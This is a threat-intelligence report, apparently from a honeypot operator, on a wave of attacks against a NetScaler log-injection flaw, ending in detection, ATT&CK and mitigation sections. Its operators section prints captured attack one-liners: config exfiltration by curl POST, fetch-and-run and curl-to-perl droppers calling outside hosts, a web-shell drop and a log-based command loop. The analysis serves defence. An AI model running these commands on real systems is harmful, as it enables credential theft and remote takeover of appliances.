Ten days inside CVE-2026-88771: anatomy of a NetScaler exploitation wave
Summary
On September 27, 2026, Citrix disclosed CVE-2026-88771, an unauthenticated remote root command-execution flaw in NetScaler ADC and Gateway. Within roughly 24 hours our deception network logged the first exploitation, and it has not stopped since. Over the ten days to October 7 we captured 1,069 injection attempts from 30 distinct source IPs, and when we de-conflict them by the exact command injected and the infrastructure it reaches for, they resolve into more than ten distinct operators with very different goals and tradecraft.
This is not a single campaign. In one bug we see, side by side: a single host firing more than 700 out-of-band canaries, a config-credential-theft operation distributed across ten IPs (one of them a Tor exit), a persistent self-hosted implant, two separate droppers that tunnel their payload through consumer tunnel-as-a-service, a dropped PHP web shell, and the most interesting of all, a command-and-control channel that uses the appliance's own log file and never opens an outbound connection. And a good fraction of it arrives not in a login field but in the User-Agent header.
The bug, and the shape of the payload
CVE-2026-88771 is a log-injection flaw. Attacker-controlled text supplied to unauthenticated endpoints is written verbatim to the appliance log and later processed as a shell command, so a one-line payload placed in the right field executes as root. The trigger has a recognisable shape: the command is sandwiched between a magic prefix and suffix as:
pitboss ... NSPPE; <command> ;# ... unexpectedly died
The injected text has hard constraints: no spaces (operators substitute ${IFS}, the shell's internal field separator), no parentheses, and it has to fit a short field. That budget is tiny, which is exactly why almost every real operator we see injects a downloader rather than a full payload, one short line to pull and run a bigger stage.
How we see it
These numbers come from decoy sensors, not from compromised customers. Every figure below is an attempt captured as it hit a honeypot, not confirmed execution on a production appliance. We de-conflict operators by the literal command they inject (after URL-decoding and normalising variable parts such as per-victim IDs), by the infrastructure that command reaches for, and by timing. That is a strong basis for saying "these are distinct activities," not a claim that each line below is a different named group.
Timeline
Exploitation tracked disclosure almost exactly. The first attempts landed on September 28, the volume jumped more than fiftyfold on September 29, and it has held at roughly 100 injections a day since.
| Date | Injections | Note |
|---|---|---|
| Sep 28 | 3 | First attempts (verification markers) |
| Sep 29 | 163 | Mass onset: most distinct operators appear in a single day |
| Sep 30 | 101 | |
| Oct 1 to Oct 6 | 94 / 95 / 97 / 113 / 105 / 96 | Sustained, dominated by one OOB prober |
| Oct 7 | 66 | (partial day at time of writing) |
The operators
We group them by intent. Volume and intent rarely line up: the loudest operator is the least interesting, and the quietest is the cleverest.
1. Reconnaissance and out-of-band proving
The dominant OOB prober (709 injections, from one host). By a wide margin the most common payload we see, more than two-thirds of the entire dataset, is a single operator that does nothing but confirm the box is exploitable:
curl${IFS}http://1.b2a2119a-dee0-442e-a565-9388ec622374.dnshook.site
Every one of the 709 requests carries the same hard-coded callback subdomain, fired from 66.42.100.63 (AS20473, US) continuously from September 30 to October 7. A second host, 23.234.74.48 (AS11878, US), sends the nslookup and ping variants against the identical b2a2119a subdomain, tying the two IPs to one operator. This is confirmation-first tradecraft: catalogue every reachable, vulnerable appliance now, come back and monetise later. The hard-coded ID means they are not even distinguishing victims yet, just counting doors.
Interactsh-style scanners. A separate cluster uses the oast.fun interaction service for the same purpose, with multi-protocol confirmation (ping, dig, nslookup against one *.oast.fun host), from 172.247.44.85 (US) and, on October 7, 194.54.83.22 (Ukraine). These are automated vulnerability scanners, not hands-on operators.
Verification markers. The low-volume noise of researchers and kit authors: id, whoami, and file-drop canaries such as id>/var/tmp/wtw888 and id>/var/tmp/watchTowr, and echo NX-CVE-OK>/var/vpn/bookmark/nx_verify.html, each writing a known marker to a web-readable path to prove code execution.
2. Credential and configuration theft
This is where it gets serious. ns.conf is the NetScaler configuration file; it holds the appliance's encrypted secrets, service bindings and session keys. Two distinct operators go straight for it.
Web-root exfil, distributed across ten IPs. One operator copies the config into a web-reachable directory for quiet retrieval over HTTPS:
cp${IFS}/nsconfig/ns.conf${IFS}/netscaler/ns_gui/vpn/media/c88771_138.68.159.128.txt
The c88771_ prefix tags the loot by CVE, and the embedded 138.68.159.128 is the operator's own pickup marker. What stands out is the distribution: the identical command arrives from ten different source IPs (including 107.189.7.141, 109.71.252.97, 185.121.170.60, 185.243.218.225, several in AS215125, and notably the Tor exit 185.220.101.54). One operator, many fronting IPs, is an attempt to spread the injection noise and survive IP blocks. An /etc/hostname variant from 204.8.96.74 fingerprints the host before pulling the config.
Direct POST exfil. A second, simpler config thief skips the web root entirely and streams the file straight out:
curl${IFS}-k${IFS}-X${IFS}POST${IFS}--data-binary${IFS}@/nsconfig/ns.conf${IFS}https://137.220.53.135:443/upload
from 137.220.53.135 (AS20473, Canada), its own collection endpoint.
3. Implants and staged payloads
The "ns_helper" operator (self-hosted, persistent). The most committed actor we see runs its own staging server and iterates on its installer over several days. First seen September 29 with a one-liner:
fetch -o /var/vpn/ns_helper http://176.65.148.54:8080/ns_helper && chmod +x /var/vpn/ns_helper && /var/vpn/ns_helper &
then a hardened installer on September 30 (d=/nsconfig/.ns_helper; ...; mkdir -p ..., falling back between curl and fetch), and by October 3 a routine that hunts for cli_script.sh across five NetScaler paths, likely for persistence via the appliance's own startup scripting. All from 176.65.148.54 (AS51396, Netherlands). This one is worth tracking: self-hosted C2, FreeBSD-aware (NetScaler runs on FreeBSD, hence fetch over wget), and actively developed.
Tunnel droppers. A separate operator hides its staging server behind consumer tunnel-as-a-service, pulling a stage to a hidden file and backgrounding it:
fetch${IFS}-qo${IFS}/tmp/.p${IFS}https://<sub>.free.pinggy.net/p;nohup${IFS}sh${IFS}/tmp/.p ...
We see the same backing host, 77.247.126.239 (embedded in the subdomain), fronted through both pinggy.net (from 192.42.116.62 / .65, AS215125, NL) and serveousercontent.com (from 185.100.87.166, Romania). Using throwaway tunnel domains lets the operator rotate its reachable address without moving the server, and sidesteps naive IP blocklists.
Perl droppers. Two more, each a one-line fetch-and-interpret: curl http://64.94.85.67:443/update_c08937.pl | perl (US) and curl -s 46.151.182.131/bot | perl (pulled from Indonesia). Perl is present on NetScaler by default, which makes it a reliable interpreter for a stage.
A PHP web shell. On October 5, 45.59.125.187 (US) base64-decodes and drops a classic command shell into the logon theme directory, writing a hidden .x.php under var/netscaler/logon/LogonPoint/custom/. The decoded payload is a one-line PHP shell that runs any command passed as the first GET parameter. The same operator also writes id>/var/tmp/watchTowr, borrowing a researcher marker, possibly to blend in.
4. The log-channel C2 (the standout)
The cleverest operator never contacts an external server at all. Its injected command reads the appliance's own HTTP logs for a marker and executes what it finds:
grep${IFS}INDEX:${IFS}/var/log/htt*|sed${IFS}'s/.*INDEX://;s/".*//'|b64decode${IFS}-r|sh
The mechanism is elegant. The operator plants follow-up commands, base64-encoded, inside ordinary-looking web requests tagged with a marker (here INDEX:). Those requests land in the HTTP log like any other. The injected loop then greps the log for the marker, extracts the base64, decodes it, and runs it. Command-and-control with no C2 connection, just the appliance reading instructions it logged about itself. There is no beacon to detect, no callback IP to block, and egress filtering is completely irrelevant. We see two separate operators using this technique: the INDEX: variant from 130.12.182.7 (US) and 82.167.14.7 (Saudi Arabia) on Sep 29 to 30, and a second a week later (Oct 4 to 5) that keys on fefypa: and fdylo9:, the filenames of CSS files under /logon/LogonPoint/, from 81.94.239.8 (AS12993, Latvia). Using real theme-asset names as markers makes the planted requests look even more like legitimate traffic.
The payload is in the User-Agent, not just the login field
A detail that matters for detection: this does not only arrive in form fields. Of the 1,069 injections, 124 were GET requests and 14 carried the full payload in the User-Agent header, no username field involved. Those UA-borne payloads were not idle, either, they included the ns.conf web-root copy and the pinggy-tunnel fetch dropper described above. Any unauthenticated field that ends up in the log is a viable injection point, and operators are spraying all of them, so a detection that only parses login POST bodies will miss a real slice of this activity.
Infrastructure and assessment
Across 30 source IPs the hosting skews to commercial VPS and bulletproof-adjacent space: the United States leads (10 IPs), then the Netherlands (6, with AS215125 alone accounting for five across three different operators), then Germany, with single hosts in New Zealand, Canada, Norway, Latvia, Romania, Indonesia and Ukraine. Several operators deliberately launder their source: one ran its config-theft injections through a Tor exit, and two hid their staging servers behind pinggy and serveo tunnels.
The overall picture is speed and breadth, not sophistication. A reliable, unauthenticated root bug on a ubiquitous appliance was picked up by everyone at once, scanners first, then config thieves and implant operators, all inside 48 hours of disclosure. The one genuinely novel element is the log-channel C2: a connectionless control method that defeats the standard "watch for the beacon" playbook. Several operators show the hallmarks of automation (hard-coded canaries, one command sprayed from many IPs, rapid installer iteration), which is how a small crew runs a wave this wide this fast.
Detection
Practical, high-signal checks:
- Inspect both the username field and the
User-Agentheader for${IFS}and shell metacharacters alongside thepitboss/NSPPEmarkers. Watching POST bodies alone misses the GET-based User-Agent injections. - Grep the appliance log for
pitboss ... NSPPEand;# ... unexpectedly died. Because the log-processing step can be delayed, correlate outbound connections in the hours after any match, and remember the log-channel operator produces no outbound connection at all. - Check the web root (
/netscaler/ns_gui/vpn/media/and the LogonPointcustom/directory) for stray files:c88771_*copies ofns.conf, verification HTML (nx_verify.html,Nx_*.html), and hidden PHP such as the.x.phpshell. - Check
/tmpand/var/vpnfor staged files:/tmp/.p,ns_helper,/nsconfig/.ns_helper. - Hunt for the log-channel markers in your own logs: base64 blobs preceded by
INDEX:,fefypa:orfdylo9:.
Indicators of compromise
MITRE ATT&CK
| Tactic | Technique | Seen as |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing Application | CVE-2026-88771 log injection on unauthenticated endpoints |
| Execution | T1059.004 Unix Shell | Injected shell commands run via the appliance log processor |
| Command and Control | T1071.001 / T1071.004 Web / DNS | HTTP implants, DNS OOB proving (dnshook, oast.fun) |
| Command and Control | T1572 Protocol Tunneling | Staging via pinggy and serveo tunnels |
| Command and Control | T1001 Data Obfuscation | Log-channel C2: base64 commands read back from the appliance log |
| Credential Access | T1552.001 Credentials in Files | ns.conf exfiltrated to web root or POSTed out |
| Persistence | T1505.003 Web Shell | a hidden PHP shell dropped in the LogonPoint custom directory |
| Defense Evasion | T1090.003 Multi-hop Proxy | Injections routed through a Tor exit; tunnel-fronted staging |
Mitigation
Patch is the only real fix. Upgrade to the fixed builds (14.1-73.37, 13.1-64.24, or the FIPS and NDcPP equivalents); appliances configured as a SAML Service Provider or Identity Provider also need the CVE-2026-88779 fixes. Until then, restrict the management and logon interfaces from the public internet, add WAF or proxy rules rejecting the injection markers in any field including the User-Agent, and, critically, assume a patched-but-previously-exposed appliance may already hold attacker artifacts, upgrading does not remove a dropped web shell, a staged implant, or an exfiltrated config. Rotate everything in ns.conf and rebuild from a known-good state where exposure is suspected.